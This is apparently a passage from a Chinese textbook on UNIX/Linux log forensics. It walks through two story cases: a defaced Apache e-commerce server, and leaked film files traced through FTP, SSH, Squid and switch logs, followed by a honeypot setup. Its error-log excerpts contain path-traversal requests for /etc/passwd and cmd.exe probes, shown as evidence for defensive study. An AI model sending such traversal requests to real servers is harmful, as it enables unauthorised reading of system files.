故事人物:小王(系统管理员) 事件背景 小王在国内一家电商网站(westshop.com)的运维部工作,职位是系统管理员,是名副 其实的“救火队长”,经常干着费力不讨好的工作,工资不高,每个月除去开销再给家中父 母寄些钱,就所剩不多了。 圣诞节临近,公司决定进行今年最后一轮打折促销活动,为此各个部门都开始了紧锣 密鼓的部署工作。小王所在的 IT 部门,除了日常维护,开始加紧为接下来的大量访问做一 些系统扩容的准备工作。由于工作紧张,小王无暇顾及系统的安全问题,处于“亚健康” 状态的系统一直带病运行着。随着节日的临近,网站用户访问数量激增,网站流量也不停 地刷新记录。 可好景不长,在系统运行了一段时间之后,一天,公司接到电话:有人反映主页被篡改 了,而且访问网站时断时续。老板得知此事,十分恼火,立即吩咐小王尽快排除故障。小王 接到任务后,并不慌张,因为他每天都重复干着一件事,那就是“备份、备份再备份”,但 是为了搞清楚事情真相,以便向老板交待,他开始了系统取证工作。 1.检查系统进程 由于担心程序被替换,事先小王就在他的 home 目录下加密保存了一些重要的系统文件的 副本,例如 md5、ps、top 及 netstat 等。他先用 top 命令查看了系统进程列表。显示如下: 第 2 章 UNIX/Linux 系统取证 77 从命令结果显示上看,CPU 利用率达到 55.58。这是为什么?接着他重启了 Apache 服 务器,这台物理服务器上运行大概 10 多个子站点,在重启 httpd 的那一刻,网站打开速度很 快,但几分钟后就急剧下降,而且 Load Average 的值很快就飙升到 30~40 且一直居高不 下。不一会儿 CPU 利用率就全占满了。这种情况表明站点可能受到了 DoS 攻击。 2.查看并发数 首先执行命令: #ps -ef|grep httpd|wc -l 2458 结果表示 Apache 能够处理 2458 个并发请求。 查看详细连接情况: #netstat -na|grep -i "80"|wc -l 2341 从以上结果看,没什么异常。netstat –na 命令会打印系统当前网络连接状态,而 grep -i "80"是用来提取与 80 端口有关的连接的,wc -l 进行连接数统计。  注意: 用下面这种方法也可以得到连接信息: #netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}' FIN_WAIT_1 286 FIN_WAIT_2 360 SYN_SENT 3 LAST_ACK 32 CLOSING 1 CLOSED 36 SYN_RCVD 144 TIME_WAIT 2520 ESTABLISHED 2352  注意: SYN_RCVD 表示正在等待处理的请求。 ESTABLISHED 表示正常数据传输状态。 TIME_WAIT 表示处理完毕,等待超时结束的请求。 3.检查网站及数据库 他看了一下网站内的很多 index.html 和 index.php,发现它们都被修改过。 下面检查数据库。 #mysql -h localhost -u root –p 输入密码后仔细检查了各个网站数据库情况,并没有发现异常。随后又在浏览器输入 phpinfo()测试页也都没发现问题。 78 UNIX/Linux 网络日志分析与流量监控 “问题会出在哪儿呢?”小王心想。一筹莫展的小王到机房外抽了根烟。 目前仍然无法确定究竟有什么漏洞导致了网站被攻击。小王手里的烟还没抽完,他突然 想到了到 Apache 的日志文件中能收集到一些线索,因为攻击者入侵我们网站后,Web 服务 器上会记录下远端 IP 地址等关键信息,而且网关上也会记录进入服务器的 IP 地址,即使攻 击者将 Web 服务器的 IP 记录删除了还有网关上的日志记录信息,不可能都删掉。随后他开 始获取 httpd 日志。 #cd /var/log/httpd 默认的 http 日志都在这里。 #wc -l access_log error_log 13129 access_log 125410 error_log 25670 total 小王自言自语:“这很不正常。error 日志不应该有这么大……” 他开始分部分查看 error 日志。 # head -50 error_log |more [Sun May 5 13:42:45 2010] [notice] Apache/2.0.4 (UNIX) PHP/5.0.5 configured -- resuming normal operations [Sun May 5 17:29:33 2010] [error] [client 80.11.134.231] File does not exist: /var/www/htdocs/scripts/..A../winnt/system32/cmd.exe [Sun May 5 17:29:34 2010] [error] [client 80.11.134.231] File does not exist: /var/www/htdocs/ scripts/.82e/./winnt/system32/cmd.exe [Sun May 5 17:57:58 2010] [error] [client 210.113.198.122] File does not exist: /var/www/ htdocs/ scripts/..85c85c../winnt/system32/cmd.exe [Mon May 6 23:33:15 2010] [notice] caught SIGHTERM, shutting down [Sun May 5 13:42:45 2010] [notice] Apache/2.0.4 (UNIX) PHP/5.0.5 configured--esuming normal operations [Mon May 6 23:33:47 2010] [error][client 48.82.130.78] Invalid URL in request GET /../../../../etc/passwd HTTP/1.1 [Mon May 6 23:33:52 2010] [error][client 48.82.130.78] Invalid URL in request GET /..HTTP/1.1 [Mon May 6 23:34:22 2010] [error][client 48.82.130.78] Invalid URL in request GET /../../../.. /..HTTP/1.1 [Mon May 6 23:34:26 2010] [error][client 48.82.130.78] Invalid URL in request GET /../../../../etc HTTP/ 1.1 [Mon May 6 23:34:35 2010] [error][client 48.82.130.78] Invalid URL in request GET /../../../../etc/ HTTP/ 1.1 …… 他不敢相信自己的眼睛:不会吧,怎么会有 /winnt/system32/cmd.exe?他开始怀疑系统 中了病毒或是被攻击了。随后他又查看了第二批日志,部分内容如下: #tail -50 error_log |more [Mon May 22 11:45:11 2010] [notice] child pid 2880 exit signal Segmentation fault (11) [Mon May 22 11:46:01 2010] [notice] child pid 2908 exit signal Segmentation fault (11) [Mon May 22 11:47:26 2010] [notice] child pid 2936 exit signal Segmentation fault (11) 第 2 章 UNIX/Linux 系统取证 79 [Mon May 22 11:47:38 2010] [notice] child pid 2984 exit signal Segmentation fault (11) …… 每分钟都要产生一条 Segmentation fault 报错信息。“Apache 通常不会出现这样的 Segmentaion fault 故障,这种情况到底出现了多少次呢?” #grep Segmentation error_log |wc –l 65196 千多条。“这可不是好兆头”。小王突然想到了可以使用调试工具 strace 来实时疏 通 Apache 的“脉络”。接着他很快写出了一个可执行脚本 apache_debug.sh: #!/bin/sh while [ "1" == "1" ]; do APACHE_LIST=`ps -ef | grep apache | grep ^www | awk '{ print $2; }'` for i in $APACHE_LIST; do if [ ! -e $i.log ]; then echo "strace $i" strace -p –v $i 2> $i.log & fi done echo "wait" sleep 60s done 在运行 apache 后,就接着运行脚本 apache_debug.sh,由于 apche 程序在运行一段时间后 会自动崩溃(短短1分钟时间),这个脚本的目的就是每过一分钟就检查一下当前的 apache,这样一来就会发现问题。接着我们就等着 Segmentation fault 发生来分析进程 ID 的 内容,很快就找到了,下面就是这部分内容: setsockopt(42, SOL_SOCKET, SO_RCVTIMEO, "\2003\341\1\0\0\0\0\0\0\0\0\0\0\0\0", 16) = 0 --- SIGSEGV (Segmentation fault) @ 0 (0) --- rt_sigaction(SIGSEGV, {0x43ab80, [SEGV], SA_RESTORER|SA_RESTART, 0x2b594e0ad4f0}, {0x2b5951de9ca0, [SEGV], SA_RESTORER|SA_RESTART, 0x2b594e0ad4f0}, 8) = 0 rt_sigaction(SIGFPE, {SIG_DFL}, {0x2b5951de9ca0, [FPE], SA_RESTORER|SA_RESTART, 0x2b594e0ad4f0}, 8) = 0 {0x2b5951de9ca0, [ABRT], SA_RESTORER|SA_RESTART, 0x2b594e0ad4f0}, 8) = 0 fstat(2, {st_mode=S_IFREG|0640, st_size=2396024, ...}) = 0 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x2b5959ea1000 kill(3204604, SIGSEGV) = 0 rt_sigreturn(0x30e5fc) = 12 --- SIGSEGV (Segmentation fault) @ 0 (0) --- chdir("/etc/apache") = 0 rt_sigaction(SIGSEGV, {SIG_DFL}, {0x43ab80, [SEGV], SA_RESTORER|SA_RESTART, 0x2b594e0ad4f0}, 8) = 0 kill(3204604, SIGSEGV) = 0 rt_sigreturn(0x30e5fc) = 12 --- SIGSEGV (Segmentation fault) @ 0 (0) --- 80 UNIX/Linux 网络日志分析与流量监控 process 3204604 detached 他心想:“访问日志中是不是有什么线索能告诉我这台计算机到底发生了什么问题呢?” #tail -50 access_log |more 192.168.1.215 – [21/Oct/2010:11:57:56 - 0400] “POST /home.php HTTP/1.1 “200 65401 192.168.1.215 – [21/Oct/2010:11:57:58 - 0400] “POST /home.php HTTP/1.1 “200 3870 192.168.1.215 – [21/Oct/2010:11:57:59 - 0400] “POST /home.php HTTP/1.1 “200 84404 192.168.1.215 – [21/Oct/2010:11:58:01 - 0400] “POST /home.php HTTP/1.1 “200 65401 192.168.1.215 – [21/Oct/2010:11:57:52 - 0400] “POST /home.php HTTP/1.1 “200 3970 …… 看了日志,小王觉得很可能与 POST 命令有关,但他依然不知道是何原因导致了这种故 障的发生。 互动问答 各位读者,看完了案例描述和小王对事件的分析,你能回答下面几个问题吗? 1.日志文件中发生了什么? 2.如何实现在系统 Apache 出现段错误时输出到 Core 文件? 3.小王应该对他的网站进行哪些安全加固处理? 疑难解析 1.其实网上大部分服务器都在受到持续攻击,无论是人为还是蠕虫,所以你的日志还 是会被那些企图利用该系统的漏洞所产生的报告所塞满,例如: [Sun may 5 17:29:33 2010] [error] [client 80.11.134.231] File does not exist: /var/www/htdocs/scripts..A../windows/system32/cmd.exe 正如这个例子描述的,westshop.com 运行的是 Linux 下的 apache 服务器,而 cmd.exe 仅 存在于 Windows 系统中,所以这些命令跟我们的系统毫不相干,我们所关心的日志大部分 来自 error_log 和 access_log 文件的末尾。接下来分析一下 access 日志文件中的一行: 192.168.1.215 - - [21/Oct/2010:11:59:57 -0400] “POST”/home.php HTTP/1.1” 200 84424 还有来自 error 日志文件中的一行: [Mon Oct 21 11:59:58 2010] [notice] child pid 6678 exit signal Segmentation fault (11) 假设这些事件发生在同一时间段,那么是 POST 方法导致 web 服务器进程产生了“Segmentaion fault”故障。 2.Core Dump 又是什么? 我们在开发(或使用)一个程序时,程序可能会突然崩溃。 这时操作系统就会把程序崩溃时的内存内容写入一个叫做 core 的文件里(这个写入的动作就 叫 dump),以便我们调试。Linux 下的 C 程序常常会因为内存访问错误等原因造成 Segment Fault(段错误),此时如果系统 Core Dump 功能是打开的,那么将会有内存映像转储到硬盘 上来。 下面以 RHEL 5 为例讲解如何配置实现 Apache 能在出现段错误时输出 Core 文件。 第 2 章 UNIX/Linux 系统取证 81 1)在/etc/httpd/conf/httpd.conf 的最后添加如下内容: CoreDumpDirectory /var/apache-dump 2)创建/var/apache-dump,并设置正确的权限和属主: # ps aux | grep http | tail -n 2 # mkdir /var/apache-dump # chown apache.apache /var/apache-dump  注意: 修改属主为 ps axu|grep httpd 显示的 apache 进程的运行身份和组。 # chmod 0770 /var/apache-dump # ls -ld /var/apache-dump drwxrwx--- 2 apache apache 4096 Aug 16 10:59 /var/apache-dump 3)修改/etc/security/limits.conf,在最后添加: * - core unlimited 4)编辑/etc/profile,修改: 将 ulimit -S -c 0 > /dev/null 2>1 改为: ulimit -S -c unlimited > /dev/null 2>1 5)编辑/etc/init.d/functions,注释掉 ulimit -S -c 0 >/dev/null 2>1 这一行。 6)编辑/etc/init.d/httpd,在 start()部分添加如下几行: start() { ulimit -c unlimited echo -n $"Starting $prog: " 7)实现重新启动后将 PID 写入到 core 文件,修改/etc/sysctl.conf,添加: kernel.core_uses_pid = 1 # Following needed for Enterprise Linux 3 servers kernel.core_setuid_ok = 1 手工运行下面命令使设置立刻生效: # echo 1 > /proc/sys/kernel/core_uses_pid # echo 1 > /proc/sys/kernel/core_setuid_ok 8)重启 Apache: #service httpd restart 82 UNIX/Linux 网络日志分析与流量监控 9)为了测试,使用“ps aux”查找 apache 进程,然后“kill –9”,检查/var/apache-dump/ 目录,查找新的 core 文件: # ps aux | grep http | tail -n 2 apache 1331 0.0 2.6 80152 6776 ? S 13:59 0:00 /usr/sbin/httpd - apache 1333 0.0 2.6 80152 6776 ? S 13:59 0:00 /usr/sbin/httpd - # kill -9 1333 # ls -ld /var/apache-dump/core.1333 -rw------- 1 apache apache 71188480 Aug 16 13:48 /var/apache-dump/core.1333 经过以上设置,我们得到 core 文件,接下来可以用 GDB 工具查看 core 文件,并进行调试。 3.小王的加固工作记录: 对于网站被篡改的情况小王选择重装系统的方式。首先对系统创建独立的分区 /var、 /tmp、/etc、/home、/usr 并为 /etc、/home、/var、/tmp 设置 nosuid 和 noexec 属性。 为需要编译软件的用户创建独立分区,将它挂在/home/compile 下,并改变属性。 #chmod –R root:compile /home/compile; chmod 770 /home/compile #chown root:www /var/www/htdocs/*; chmod 644 /var/www/htdocs/* 除此之外,还要注意下面 8 个细节问题: z 最好将二进制文件 s 位删除:chmod u-s。 z 禁用 sendmail、Nfs 及所有可能运行着的 RPC 服务。 z 升级 Openssh,Openssl。 z 重建 Apache。 z 升级 Mysql(5.66)、PHP(5.5.4)版本。 z 防火墙过滤 Mysql 的远程端口,删除所有默认的 Mysql 用户记录。 z 对计算机用 Nmap 扫描,确信没有运行其他服务。 z 作好网站异地备份。 预防措施 小王花费大量时间来查找 westshop.com 计算机上跨越驱动器的文件权限。另一项改动将 大大提高 Web 系统的安全:在 westshop.com 计算机上运行 Apache 的 UID 和 GID 都是 www 和 www,在本案例中小王赋予 www 目录在/var/www/htdocs 中写的权限。建议创建一个新的 web author 的权限组,这样可以进一步增强系统的安全。这个组里包含了能够或需要编辑 HTML 文件的用户,就可以防止 Apache Web 服务器的进程编辑文档。 除此之外,小王还应该在 www.php.net 下载最新的 PHP 版本,并替换现有版本。在 后面案例中将介绍一种方法,主要思路是:通过在 Web 服务器上安装网页防篡改系统, 定期扫描并计算网页的 MD5 摘要编码作为正常网页的“指纹”,实时监控 Web 站点,监 测 Web 站点网页是否被修改。当发现 Web 站点上的文件被破坏或非法修改后,系统能够 自动报警,并迅速恢复被破坏的网页文件,有效保证 Web 数据的完整性(该方法将在 14 章讲解)。 第 2 章 UNIX/Linux 系统取证 83 2.6 案例二:谁动了我的胶片 本案描述了 IT 经理张坤在一起广告公司文件泄露的案件中,通过对交换机、服务器日 志和邮件信头进行分析,利用多方面日志内容验证了他的推测,最后他将这些信息汇总起 来,勾勒出了这次攻击事件的全过程。读者在看完事件的描述后,是否知道在 FTP 和 SSH 日志中找到了什么线索?是否知道如何通过攻击者发出的邮件信头找到他的 IP 地址呢? 难度系数:★★★★★ 关键日志:Apache 访问日志、Squid 访问日志、邮件头信息 故事人物:周亮(项目负责人)、王磊(网管)、张坤(IT 经理)、曹工(顾问)、小蒋 (新员工) 事件背景 在一个美丽的清晨,张坤驾驶着他的 SUV 行驶在三环路上。他拿了张 Groove Coverage 的专辑,播放起了《God Is a Girl》,加大了油门往前方驶去。张坤在一家渲染农场(Render farm,学名叫分布式并行计算系统)电影特效公司上班,前不久刚刚被提升为 IT 经理,这 对于他来说是一件无比兴奋的事情。目前他们公司正在制作《飞虎神拳》的特技效果,大家 共同为之努力工作。 他每天早上必须喝上一杯咖啡。今天,他拿着咖啡向办公室走去,被周亮和王磊叫进了 会议室。王磊对张坤说:“老大,有人将《飞虎神拳》的机密信息散布了出去,在网上发布 了 1 分钟的片段。周亮对此非常重视,他让我们检出谁干的,因为这些片段在昨天早晨才完 成了后期制作。” 张坤有点紧张,此刻他意识到已经发生的事情对于他们来说意味着什么。周亮大声说: “泄露出去的片段是观众最期望看到的内容,但现在已经公诸于众了!单单是一个镜头就能 让公司直接经济损失达数十万元!”曹工接着补充说,电影制作公司将不会再把自己的电影 特效交给他们制作,除非他们将这件事情查个水落石出,并且能防止其再次发生。张坤这才 明白过来,他们不仅失去了这部电影的特效渲染工作,如果消息传开的话,他们将失去更多 的机会。 了解业务流程 张坤是 IT 人员,并不熟悉动画渲染业务,他为了搞清楚公司业务流程,立刻询问了电 影胶片制作的所有过程,从收到电影制作公司的电影胶片,直到这些电影胶片运回到电影制 作公司。周亮一一叙述了整个过程,因为这些都是在他的监督之下完成的。制片公司将需要 后期制作的电影胶片(需采用非线性编辑的视频特效)存放在硬盘上,王磊将硬盘上的内容 复制到 RAID 阵列上,然后给后期制作小组发电子邮件,告诉他们可以取胶片。 后期制作小组的工作采取轮班工作方式,所以周亮打算查出昨天是谁处理过《飞虎神 拳》的视频。团队完成后期制作,视频文件就被放在了服务器上的一个目录下。待硬盘中存 储足够多的文件,王磊才将硬盘上的文件送给电影制作公司。然后这些文件会被写入磁盘阵 列上并离线保存,目前《飞虎神拳》视频内容还没有写到阵列上。 84 UNIX/Linux 网络日志分析与流量监控 公司内鬼所为? 调查工作进行到第二天清晨,丝毫没有得到有价值的线索。张坤认为有必要和王磊进行 一次交谈,以便进一步了解技术细节。张坤心想:“难道是王磊把视频卖给影迷网站?他是 那种人吗?”张坤必须弄个水落石出。 王磊在公司创建之初就来工作,现已工作多年。他是后期制作团队的系统管理员。王磊 和张坤之间联系不多,因为后期制作相对独立。王磊再一次向张坤解释了所有的过程,他愿 意提供更多的技术细节,他们的磁盘阵列和 Linux 服务器之间采用直连方式,与该服务器相 连的所有客户端也清一色使用 Linux 系统。所有的后期制作成员都使用 Web 浏览器来获取他 们想要操作的文件,并且挑出他们正在处理的文件,也就是说不可能两个人同时操作同一个 电影胶片。这些 Web 上的代码都是两年前由公司内部开发的,非常可靠。 张坤从与王磊的谈话中确信他不会是作案者。首先,他不会为了贪图眼前的利益而毁掉 自己的前程;其次,张坤非常欣赏他的业务能力。 张坤回到了自己的办公室,思考着下一步该怎么办。这似乎并不像内部职员所为。公司 内有着良好的企业文化,假设《飞虎神拳》这部惊人之作能够家喻户晓的话,公司必定会因 此迎来自己的辉煌。张坤决定仔细研究一下网络拓扑图。公司的网络拓扑图如图 2-9 所示, 这是他的前任临走前留给他的,也许能够从中找到一些启示。 图 2-9 案例网络拓扑 这张网络拓扑图似乎并没有给张坤太多帮助,局域网中只有几个 VLAN。公司内网和因 特网之间也有着防火墙、DMZ 区和代理服务器,一切看上去都很正常,调查工作陷入僵 局。这时,王磊来到张坤的办公室说,小蒋是昨天最后一个调取胶片文件的员工。张坤立刻 拿着记事本去找小蒋,打算一探究竟。 小蒋是公司的新员工,张坤曾经见过他几次,但并没有和他谈过话。小蒋告诉张坤他工 作的整个过程:首先他将视频文件从服务器上下载下来,然后对它进行编辑加工,接着就将 修改过的文件提交给服务器。张坤询问上传下载的方法时,小蒋说是使用 FTP 下载的。张坤 第 2 章 UNIX/Linux 系统取证 85 听到这条线索,他觉得这也许就是问题所在。于是,他接着问小蒋修改完文件后上传的时 间。小蒋回忆了一下,说:“昨天是我太太生日,所以晚上下班比较准时,大约时间是在 5:15~5:30”。 取证分析 张坤决定先找王磊查看后期服务器上的 FTP 日志。王磊很高兴事情有了新的进展,他 帮助张坤查询 FTP 日志文件,并登录了后期制作服务器。 # grep xiaojiang xferlog Mon Sept 10 04:48:18 2010 1 1.example.com 147456 /var/ftp/pubinfo/bdsq/file2.jpg b_oa xiaojiang ftp 0*i “好,这说明小蒋是正常上传文件的。但是之后会不会又有人调取过呢?” #grep jer xferlog Mon Sept 10 04:48:18 2010 1 1.example.com 147456 /completed/ hawk.avi b_oa Jer ftp 0*i 张坤有点糊涂了。小蒋是正常上传文件的,在这之后再没人访问过,至少没人再通过 FTP 访问过。张坤一头雾水地回到了自己的办公室。王磊看到张坤,连忙询问是否有新的发 现。然而张坤只能对他解释说发现了一些可疑之处,但还没有得到证实,张坤感到自己一整 天都像是热锅上的蚂蚁。就在这时候,周亮来到了王磊的办公室,告诉他:“又有一部做好 的片头视频被发布在网上了!”看到经理这样的情形,王磊和张坤的心里怦怦直跳。周亮说: “视频是昨天晚上制作完成的,怎么这么快就泄露了呢?”。这时张坤想到联系对方的网管, 看看是谁发布了这个视频。当和网管取得了联系后,网管说这些信息来自一个自称是 Tom 的人,他的电子邮件地址是 tom@yahoo.com.cn。 下面张坤开始利用这封邮件的邮件头信息,希望找到 Tom 的 IP。他找到了下列邮件头 信息: Received: from web15604.mail.cnb.yahoo.com([202.165.102.x]) by SNT0 -MC3 -F14.Snt0.hotmail. com with Microsoft SMTPSVC(6.0.3790.4675);Sat,24 Sep 2010 08:17:50 -0700 Received: from [122.246.51.2x] by web15604.mail.cnb.yahoo.com viaHTTP;Sat,24 Sep 2010 23:17: 48 CST X-Mailer:YahooMailWebService/0.8.114.317681 Message-ID: <1316877468.60773.YahooMail-Neo@web15604.mail.cnb.yahoo.com> Date: Sat,24 Sep 2010 23:17:48 +0800(CST) From: zhen tom@yahoo.com.cn Reply -To: tom fei tom @yahoo.com.cn Subject: test by webmail To: =?utf-8?B?6LS56ZyH5a6H?= tom@hotmail.com 经过认真分析、反复核对,张坤基本确定了他的 IP 地址。张坤来到王磊的办公桌前,想 看看是否能够找到一些其他的信息,也许会有些头绪。张坤让王磊再次检查一下 FTP 日志。 #grep apple1.avi xfelog Mon Sept 10 04:48:18 2010 1 postprod 147456/completed/apple1.avi b_oa\lex ftp 0*i 同样,在工作人员上传完文件之后没有人再访问过这些文件。张坤问王磊是否还有其他 86 UNIX/Linux 网络日志分析与流量监控 的方法能够获取这些文件。王磊解释说,这台主机设置了防火墙,只允许 21、22、80 端口 通过,也就是只允许通过 SSH、FTP 和 Apache 三种服务访问。于是张坤又让王磊检查在这 些文件上传 FTP 服务器之后的 SSH 日志文件。 Sep 10 17:24:58 postprod sshd[3211]:Accepted password for wanglei from 192.168.0.3 port 49172 ssh2 Sep 10 18:03:18 postprod sshd[3211]:Accepted password for wanglei from 192.168.0.3 port 49172 ssh2 Sep 10 22:13:38 postprod sshd[3211]:Accepted password for wanglei from 192.168.0.3 port 49172 ssh2 同样的结果,张坤感到非常失落。现在的问题是,没有人访问过这些文件,那么这些文 件又是怎么泄漏出去的呢?接下来王磊只好查看 Web 服务器日志文件,看看能否查到一点 线索。 #grep hawk.avi /var/log/apache/ 192.168.1.11--[10/Sep/2010:23:55:36 -0700] "GET /completed/hawk.avi HTTP/1.0"200 2323336 王磊的眼睛亮了,张坤也惊喜地张大了嘴巴。192.168.1.11 是公司内网地址,也许他们 找到了“凶手”!他们发现了一个异常的 IP 地址,之前从来没有见过这个 IP 地址。这个 IP 不属于 DHCP 范围之内,而属于一个静态服务器范围。张坤问王磊是否知道哪一台服务器使 用这个 IP,王磊不能确定。但这个 IP 一定不属于后期制作服务器群所在的 VLAN。张坤决 定再仔细查看一下 Web 服务器日志文件,这次主要是看一看这个可疑的 IP 地址: # grep `192.168.1.11` /var/log/apache/ 192.168.1.11--[10/Sep/2010:23:50:36 -0700] "GET /index.html HTTP/1.0"200 2326 192.168.1.11--[10/Sep/2010:23:55:36 -0700] "GET /completed/index.html HTTP/1.0" 200 2378 192.168.1.11--[10/Sep/2010:23:51:36 -0700] "GET /completed/movie-cab.avi HTTP/1.0 " 200 1242326 192.168.1.11--[10/Sep/2010:23:52:24 -0700] "GET /completed/hawk.avi HTTP/1.0" 200 2323336 192.168.1.11--[10/Sep/2010:23:55:36 -0700] "GET /completed/apple1.avi HTTP/1.0"200 642326 192.168.1.11--[10/Sep/2010:14:00:38 -0700] "GET /completed/pool.avi HTTP/1.0"200 662326 192.168.1.11--[10/Sep/2010:23:55:36 -0700] "GET /completed/less.avi HTTP/1.0"200 2552326 张坤发现有一个人浏览了很多文件。在公司丢失更多的文件之前,张坤必须查清楚到底 发生了什么。张坤告诉了王磊新的进展,他为此很高兴,不过他希望张坤能尽快找到事情的 最终答案。张坤回到了自己的座位上继续跟踪刚才日志上的可疑 IP。他感到非常兴奋,因为 “嫌疑人”更近了,尽管他还并不清楚该从何处开始。他认为追捕到这个 IP 地址的最佳办法 是找到这个 IP 地址在物理上是从哪里连上网络的。要做到这一点,就要把该计算机连接到 交换机的端口以便和计算机的 MAC 地址匹配起来。 遗忘的 Squid 服务器 张坤首先 ping 这个 IP 地址,然后从 ARP 表中得到这台计算机的 MAC 地址。 张坤得到了重要的信息,他立刻远程登录到服务器连接的 Cisco 交换机上。经过几次尝 试以后,有了重大的突破。 使用 ping 命令看看 Tom 的计算机网卡的 MAC 地址是多少。 第 2 章 UNIX/Linux 系统取证 87 Interface: 192.168.3.41 on Interface 0x1000003 Internet Address Physical Address Type 192.168.1.1 00-30-ab-04-26-dd dynamic 192.168.1.11 00-0d-56-21-af-d6 dynamic 从本机的 ARP 缓存里看这个可疑 IP 地址的 MAC 地址为 00-0d-56-21-af-d6,登录交换机一 看果然还是这个地址。 BJ-SW#show arp | in 192.168.1.11 Internet 192.168.1.11 3 000d.5621.afd6 ARPA Vlan20 下一步,要知道他的计算机是接到哪台交换机上。 BJ-SW#show mac-address-table dynamic address 000d.5621.afd6 Unicast Entries vlan mac address type protocols port -------+---------------+--------+---------------------+-------------------- 20 000d.5621.afd6 dynamic ip,ipx GigabitEthernet3/2 从结果看这是通过千兆端口连接。看看邻居(这是核心交换机的二级级联交换机)。 BJ-SW-419-1-4#sh cdp neighbors Capability Codes: R - Router, T - Trans Bridge, B - Source Route Bridge S - Switch, H - Host, I - IGMP, r - Repeater, P - Phone Device ID Local Intrfce Holdtme Capability Platform Port ID SW-419-2-3 Gig 3/4 152 S I WS-C3550-4Gig 0/2 SW-419-1-3 Gig 3/3 168 S I WS-C3550-4Gig 0/2 SW-440-1-4 Gig 3/1 173 S I WS-C3550-4Gig 0/2 SW-440-2-4 Gig 3/2 143 S I WS-C3550-2Gig 0/2 终于找到它了,在 SW-440-2-4 Gig 3/2 143 SI WS-C3550-2Gig 0/2 上。下面我们直接登录到 SW-440-2-4 这台交换机,输入 MAC 查找。 SW-440-2-4#show mac-address-table dynamic address 000d.5621.afd6 Mac Address Table ------------------------------------------- Vlan Mac Address Type Ports ---- ----------- -------- ----- 20 000d.5621.afd6 DYNAMIC Fa0/23 Total Mac Addresses for this criterion: 1 然后根据综合布线时的跳线表就可直接连到这台计算机。接下来关闭该端口。  注意: 作为管理人员,快速定位交换机端口,找出 IP 和 MAC 对应关系是必须掌握的技能,熟 悉以上方法,在排除故障时可达到事半功倍的效果。 张坤发现了这个系统就连在服务器交换机的第 23 个端口上,于是冲下大楼直奔小机 88 UNIX/Linux 网络日志分析与流量监控 房,迅速来到 Catalyst 交换机前找到第 23 端口,开始顺藤摸瓜。可杂乱繁多的网线,一看就 头疼,查找问题花去了张坤很多的时间。最后终于找到了连接的主机。张坤发现,该主机内 部有两块网卡。他从网线堆里爬出来,无奈地看着这台机子,机箱上面贴着一张发黄的标 签,上面写着 Squid Proxy Server。这时张坤立刻有种反胃的感觉,因为这台服务器至少 1 年 多没有使用了,而且自从他升职后,这台服务器也确实没有使用过。 张坤现在根本不能确定黑客到底是从哪儿入侵的,代理服务器又为他们的调查出了一个 难题。王磊倒是给张坤提供了一些有用的线索,他把前任经理给他留下的服务器用户名及口 令清单交给了张坤。张坤迅速回到自己的座位开始工作。他登录到 Squid 代理服务器上,希 望这一次能有所发现。 互动问答 1)在 FTP 和 SSH 日志中都没有找到充分的证据,这说明了什么? 2)张坤使用跟踪代理服务器的方法是最佳方法吗? 3)张坤是如何通过邮件头信息找到那个 IP 的? 4)如何通过网络工具查找? 5)如何查到拨号用户的来源? 疑点分析 张坤迅速打开终端,用 SSH 登录到服务器,使用 root 用户和口令,成功登录系统了。 张坤很容易就查到 access.log 文件,现在他可以查出任何一个登录过该服务器的人。 squidbox#1s -1 /usr/local/squid/logs/access.log -rw-rw-r-- 1 squid squid 2838159 Sep 11 03:25 access.log 这时问题出现了,由于 Squid 服务器工作时间长,squid.log 的日志非常庞大,查个 IP 也 不是容易的事,如何将 access.log 的 IP 提取出来呢?张坤使用以下命令: squidbox#awk '{print $3;}' access.log 张坤看到了他最不愿看到的事—该文件最后一次修改的时间是今天的凌晨 3:00。现 在应该看看这个文件: squidbox# tail /usr/local/squid/logs/access.log 892710014.016 14009 10.100.4x.5x TCP_MISS/304 126 GET http://192.168.2.3/completed/less.avi -- 显然,在公司网络以外的人通过代理服务器进入过后期制作的 Web 服务器。通过日志 文件,张坤清楚地知道黑客在昨天夜里访问过两部电影的胶片。他非常希望这个黑客能够在 今晚再次“造访”,以便抓个正着。 张坤赶紧跑到王磊的办公室,把这个消息告诉了他。找到了“凶手”,王磊感到轻松了 许多,同时希望能够找到更多关于这个黑客的信息。张坤建议说,他们应该拔掉代理服务器 外网的接口,防止黑客卷土重来。王磊同意张坤的建议,至少他们不能再泄露更多胶片文 件。张坤回到小机房,拔掉代理服务器外网口的网线(这段是连接互联网的)。然后回到自 己的座位决定做一些侦察工作。他想继续跟踪这个黑客,并且一定要给他一点儿颜色看看。 第 2 章 UNIX/Linux 系统取证 89 因为此类入侵事件具有时效性,错过这个村就没这个店。这时张坤决定架设一套蜜罐系统来 诱捕黑客,以便获得更多的证据。 诱捕入侵者 由于 IDS 等网络设备昂贵,他们所在的公司无力更换新的安全设备,所以他设计了虚拟 机下的蜜罐系统。下面的内容讲述了架设蜜罐系统的注意事项。 一般情况下,蜜网由蜜网网关、入侵检测系统及若干个蜜罐主机组成。其中蜜网网关是 控制蜜网网络的枢纽,在网关上安装多种工具软件,对数据进行重定向、捕获、控制和分析 处理,如 iptables、Snort、SebekServer、Walleye 等。访问业务主机的流量不经过蜜网网关, 而访问蜜罐的网络连接,都由重定向器引向蜜网,而攻击者往往无法察觉。本文描述的是在 单一主机上模拟出整个蜜罐系统的解决方案,它是基于最新虚拟机软件 VMware 9 和虚拟蜜 网技术,构建集网络攻击和防御于一体的网络安全平台。虚拟蜜网部分,除管理计算机外, 其他都是基于虚拟机之上。安装虚拟机系统的宿主计算机(蜜网网关)的配置要求稍高,这 样可更好地运行多个虚拟蜜罐操作系统。 接口描述:在虚拟蜜网网关中,有 3 个网络接口。 z Eth0 是面向业务网络的外部接口。 z Eth1 是面向多虚拟蜜罐系统的内部接口,Eth0 和 Eth1 在网桥模式,均无 IP 地址,数 据包经过网关时 TTL 值不会变化,也不会提供自身的 MAC 地址,因此蜜网网关对于 攻击者是透明不可见的,入侵者不会识别出其所攻击的网络是一个蜜网系统。 z Eth2 是用作远程管理,具有实际 IP 地址,可把出入虚拟蜜罐系统的数据包及蜜网系 统日志转发给一台作远程管理的主机。 架构详情如图 2-10 所示。 图 2-10 虚拟蜜罐架构图 90 UNIX/Linux 网络日志分析与流量监控 架设好蜜网系统,就等神秘人再次“造访”,以便获取更多有价值的日志信息。张坤先 使用 nslookup 查看了该 IP 的 DNS 服务器的主机名、域名、地址。 #nslookup 10.100.4x.5x 